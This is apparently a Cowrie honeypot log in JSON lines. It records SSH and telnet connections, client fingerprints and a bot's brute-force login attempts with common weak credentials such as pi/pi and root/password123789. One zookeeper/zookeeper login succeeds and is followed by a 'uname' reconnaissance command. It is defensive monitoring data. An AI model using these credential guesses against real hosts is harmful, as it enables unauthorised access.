{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35110,"dst_ip":"159.203.135.109","dst_port":23,"session":"953ae2d6fe32","protocol":"telnet","message":"New connection: 192.211.53.160:35110 (159.203.135.109:23) [session: 953ae2d6fe32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:47.647943Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:47.771653Z","src_ip":"176.65.132.129","session":"3d8536ad5ced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.167644739151,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:48.509122Z","src_ip":"64.227.82.147","session":"2e33538fb980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37832,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ddf861e2038","protocol":"ssh","message":"New connection: 176.65.132.129:37832 (10.17.0.5:22) [session: 8ddf861e2038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:49.917196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:49.937442Z","src_ip":"176.65.132.129","session":"8ddf861e2038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:50.006915Z","src_ip":"176.65.132.129","session":"8ddf861e2038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:50.324116Z","src_ip":"176.65.132.129","session":"8ddf861e2038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.843908071517944,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:50.852068Z","src_ip":"38.60.198.128","session":"20959e095034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:51.409467Z","src_ip":"176.65.132.129","session":"8ddf861e2038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37842,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d9f88dd3ca7","protocol":"ssh","message":"New connection: 176.65.132.129:37842 (10.17.0.5:22) [session: 1d9f88dd3ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:53.237139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:53.242299Z","src_ip":"176.65.132.129","session":"1d9f88dd3ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:53.324043Z","src_ip":"176.65.132.129","session":"1d9f88dd3ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:53.570476Z","src_ip":"176.65.132.129","session":"1d9f88dd3ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.475003004074097,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:54.657581Z","src_ip":"45.165.110.55","session":"87626fcb3286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:54.735490Z","src_ip":"176.65.132.129","session":"1d9f88dd3ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56524,"dst_ip":"10.17.0.5","dst_port":22,"session":"254c12667550","protocol":"ssh","message":"New connection: 176.65.132.129:56524 (10.17.0.5:22) [session: 254c12667550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:56.540655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:56.563721Z","src_ip":"176.65.132.129","session":"254c12667550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:56.645964Z","src_ip":"176.65.132.129","session":"254c12667550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:56.891528Z","src_ip":"176.65.132.129","session":"254c12667550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.89726424217224,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:57.748068Z","src_ip":"38.60.198.128","session":"949124597987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:57.976727Z","src_ip":"176.65.132.129","session":"254c12667550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.536625385284424,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:58.625203Z","src_ip":"192.211.53.160","session":"7b37b024bc56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56538,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd8462410208","protocol":"ssh","message":"New connection: 176.65.132.129:56538 (10.17.0.5:22) [session: cd8462410208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.113365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.118780Z","src_ip":"176.65.132.129","session":"cd8462410208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.200958Z","src_ip":"176.65.132.129","session":"cd8462410208","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.456425Z","src_ip":"176.65.132.129","session":"cd8462410208","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.674191Z","src_ip":"176.65.132.129","session":"cd8462410208","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.677612Z","src_ip":"176.65.132.129","session":"cd8462410208","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.766202Z","src_ip":"176.65.132.129","session":"cd8462410208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:00.771503Z","src_ip":"176.65.132.129","session":"cd8462410208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":39984,"dst_ip":"159.203.135.109","dst_port":22,"session":"f86804ba01bb","protocol":"ssh","message":"New connection: 57.128.222.14:39984 (159.203.135.109:22) [session: f86804ba01bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:02.316555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:02.322308Z","src_ip":"57.128.222.14","session":"f86804ba01bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:02.429579Z","src_ip":"57.128.222.14","session":"f86804ba01bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123789","message":"login attempt [root/password123789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:02.884874Z","src_ip":"57.128.222.14","session":"f86804ba01bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56556,"dst_ip":"10.17.0.5","dst_port":22,"session":"f858be4d5598","protocol":"ssh","message":"New connection: 176.65.132.129:56556 (10.17.0.5:22) [session: f858be4d5598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:03.562177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:03.567126Z","src_ip":"176.65.132.129","session":"f858be4d5598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:03.652289Z","src_ip":"176.65.132.129","session":"f858be4d5598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:03.898488Z","src_ip":"176.65.132.129","session":"f858be4d5598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:03.993354Z","src_ip":"57.128.222.14","session":"f86804ba01bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.747772455215454,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:04.305192Z","src_ip":"38.60.198.128","session":"0273e64804d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:04.984404Z","src_ip":"176.65.132.129","session":"f858be4d5598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59450,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c81d25b5077","protocol":"ssh","message":"New connection: 176.65.132.129:59450 (10.17.0.5:22) [session: 4c81d25b5077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:07.048803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:07.199373Z","src_ip":"176.65.132.129","session":"4c81d25b5077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:07.203209Z","src_ip":"176.65.132.129","session":"4c81d25b5077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:07.543688Z","src_ip":"176.65.132.129","session":"4c81d25b5077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:08.652705Z","src_ip":"176.65.132.129","session":"4c81d25b5077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59464,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cafd57e9321","protocol":"ssh","message":"New connection: 176.65.132.129:59464 (10.17.0.5:22) [session: 1cafd57e9321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:10.539512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:10.547615Z","src_ip":"176.65.132.129","session":"1cafd57e9321","protocol":"ssh"}
